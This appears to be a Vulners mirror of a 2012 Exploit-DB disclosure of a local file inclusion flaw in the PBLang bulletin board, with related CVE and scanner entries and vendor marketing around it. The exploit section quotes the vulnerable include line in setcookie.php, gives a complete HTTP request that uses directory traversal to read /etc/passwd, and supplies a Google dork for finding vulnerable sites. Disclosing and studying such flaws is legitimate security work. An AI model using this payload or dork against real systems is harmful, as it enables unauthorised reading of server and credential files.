Lucene search
+L

PBLang Bulletin Board System - Local File Inclusion

🗓️ 13 Mar 2012 00:00:00Reported by Number 7Type 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 31 Views

PBLang Bulletin Board System - Local File Inclusion vulnerability in setcookie.ph

Related
Code
ReporterTitlePublishedViews
Family
nessus
Tenable Nessus
PBLang Multiple Vulnerabilities
8 Sep 200500:00
nessus
nessus
Tenable Nessus
PBLang 4.65 Multiple Vulnerabilities
8 Sep 200500:00
nessus
cve
CVE
CVE-2005-2892
14 Sep 200504:00
cve
cvelist
Cvelist
CVE-2005-2892
14 Sep 200504:00
cvelist
exploitdb
Exploit DB
PBLang 4.65 Bulletin Board System - 'SetCookie.php' Directory Traversal
7 Sep 200500:00
exploitdb
euvd
EUVD
EUVD-2005-2892
7 Oct 202500:30
euvd
nvd
NVD
CVE-2005-2892
14 Sep 200520:03
nvd
||\\      || ||       || |-\\          //-|  ____      ________           __________
|| \\     || ||       || | |\\        //| | |     \   |  ______|         |_______/ /
||  \\    || ||       || | | \\      // | | |  _   \  | |                       / /
||   \\   || ||       || | |  \\    //  | | | |_)  |  | |______    /\`'__\     / /
||    \\  || ||       || | |   \\  //   | | |  _  <   |  ______|   \ \ \/     / /
||     \\ || ||_______|| | |    \\//    | | | |_)  |  | |______     \ \_\    / /
||      \\|| |_________| |_|            |_| |_____/   |________|     \/_/   /_/
______________________________________________________________________________________
# Exploit Title:  [PBLang local file include vulnerability]
# Google Dork:    ["Software PBLang 4.67.16.a"]
# Date:           [12/03/2012]
# Author:         ~Pseudo:  [Number 7];
                  ~ Twitter:[@TunisianSeven];
                  ~ Blog:   [http://tunisianseven.blogspot.com/]
# Software Link:  [http://garr.dl.sourceforge.net/project/pblang/Full%20versions/PBLang%204.67.16.a%20no%20graphics/PBLang-4.67.16.a-nographics.zip]
# Version:        [4.67.16.a]
# Tested on:      [wINDOWS,Linux]
______________________________________________________________________________________
Proof of concept:
In setcookie.php
include($dbpath."/members/".$u);

In order to successfully perform this attack the attacker must have
the full path where the files are uploaded, and it is easy to get
making a request like this:

GET http://localhost/path/setcookie.php?u=../../../../../etc/passwd HTTP/1.1
Cookie: eXtplorer=eRlQPZSWiGt2zRpFlXr6qCgja6DiLumU
Host: localhost:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)

For requests like this i use acunetix :D
______________________________________________________________________________________

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation